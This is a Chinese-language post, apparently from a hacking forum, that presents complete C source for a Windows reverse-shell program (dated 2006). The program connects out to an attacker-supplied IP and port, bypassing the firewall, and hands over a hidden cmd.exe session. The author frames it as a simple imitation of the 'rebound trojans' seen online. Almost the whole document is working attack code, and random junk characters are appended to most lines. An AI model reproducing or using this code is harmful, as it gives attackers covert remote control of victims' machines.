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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _ct18nh9  
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/* ============================== +{qX,  
Rebound port in Windows NT  .<0s?Q  
By wind,2006/7 s8/sH];  
===============================*/ ,KM-DCwcG  
#include `oDs]90  
#include XAn{xN pz  
?Re6oLm<B  
#pragma comment(lib,"wsock32.lib") Awip qDAu  
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void OutputShell(); U',.'"m  
SOCKET sClient; j@j%)CCM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mKsTA;  
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void main(int argc,char **argv) F"#8`Ps>  
{ W(C\lSE0  
WSADATA stWsaData; *%{  
int nRet; 3!+N} [$iy  
SOCKADDR_IN stSaiClient,stSaiServer; QN GICG-  
)yHJc$OlMx  
if(argc != 3) #/UlW  
{ m|7lDfpb  
printf("Useage:\n\rRebound DestIP DestPort\n"); # 1S*}Q<k  
return; DE0gd ux8  
} nb -Je+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,>:   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yq?7!X  
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stSaiClient.sin_family = AF_INET; oj8_e xx  
stSaiClient.sin_port = htons(0); Sxj _gn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ca&p;K9FR  
#P)7b,3pe  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]m>N!Iu  
{ zW,Nv>Ac5  
printf("Bind Socket Failed!\n"); %(9BWO  
return; wFgL\[$^|  
} SP&Y|I$:  
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stSaiServer.sin_family = AF_INET; qrWeV8ur+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z5oX "Yx  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .U66Uet>RX  
`I\)Kk@*b9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZL0':7  
{ IT.'`!T  
printf("Connect Error!"); E(0(q#n  
return; OG M9e!  
} kpe7\nd=>  
OutputShell(); P3due|4M  
} ;AFF7N>&  
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void OutputShell() f;Iaf#V_  
{ H-*"%SJ  
char szBuff[1024]; 0Hs\q!5Q  
SECURITY_ATTRIBUTES stSecurityAttributes; #rE#lHo  
OSVERSIONINFO stOsversionInfo; DeMF<)#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <])w@QOA#  
STARTUPINFO stStartupInfo; ,%|$# g 0  
char *szShell; r N"P IH  
PROCESS_INFORMATION stProcessInformation; E^RPK{zO  
unsigned long lBytesRead; :HJ@/ s!J  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :s Mc}k?9S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); # j=r  
stSecurityAttributes.lpSecurityDescriptor = 0; q ;@:,^  
stSecurityAttributes.bInheritHandle = TRUE; k 5<[N2D|!  
#4WA2EW  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  qep<7 QO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j3!]wolY  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A YC22(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !kPZuU `T  
stStartupInfo.wShowWindow = SW_HIDE;  Tl.%7)  
stStartupInfo.hStdInput = hReadPipe; 'O\me  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R*C  
n*4N%yI^m5  
GetVersionEx(&stOsversionInfo); 6.%V"l   
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switch(stOsversionInfo.dwPlatformId) Jb~nu  
{ m[@7!.0=  
case 1: Rwy<#9R[x  
szShell = "command.com"; UE3#(:x A  
break; Dn[iA~  
default: 9Q!X~L|\S  
szShell = "cmd.exe"; oNgu- &  
break; gFsnL*L0  
} 8gA:s`ofJ  
ng ZkBX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IT`r&;5  
%cDTy]ILu  
send(sClient,szMsg,77,0); nUAs:Q  
while(1) c'9-SY1'~  
{ HMUn+kk+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @ =RH_NB  
if(lBytesRead) =5JTVF  
{ Jy,Dcl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G1Qc\mp  
send(sClient,szBuff,lBytesRead,0); IZ2c<B5&  
} R+c  {Pl  
else 6j]pJ]F6  
{ W^c> (d</  
lBytesRead=recv(sClient,szBuff,1024,0); > 5i(U_`l  
if(lBytesRead<=0) break; c8o $WyO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }tH$/-qnJE  
} +OUYQMmM  
} [WOLUb  
0FDfB;  
return; a\wpJ|3{=T  
}
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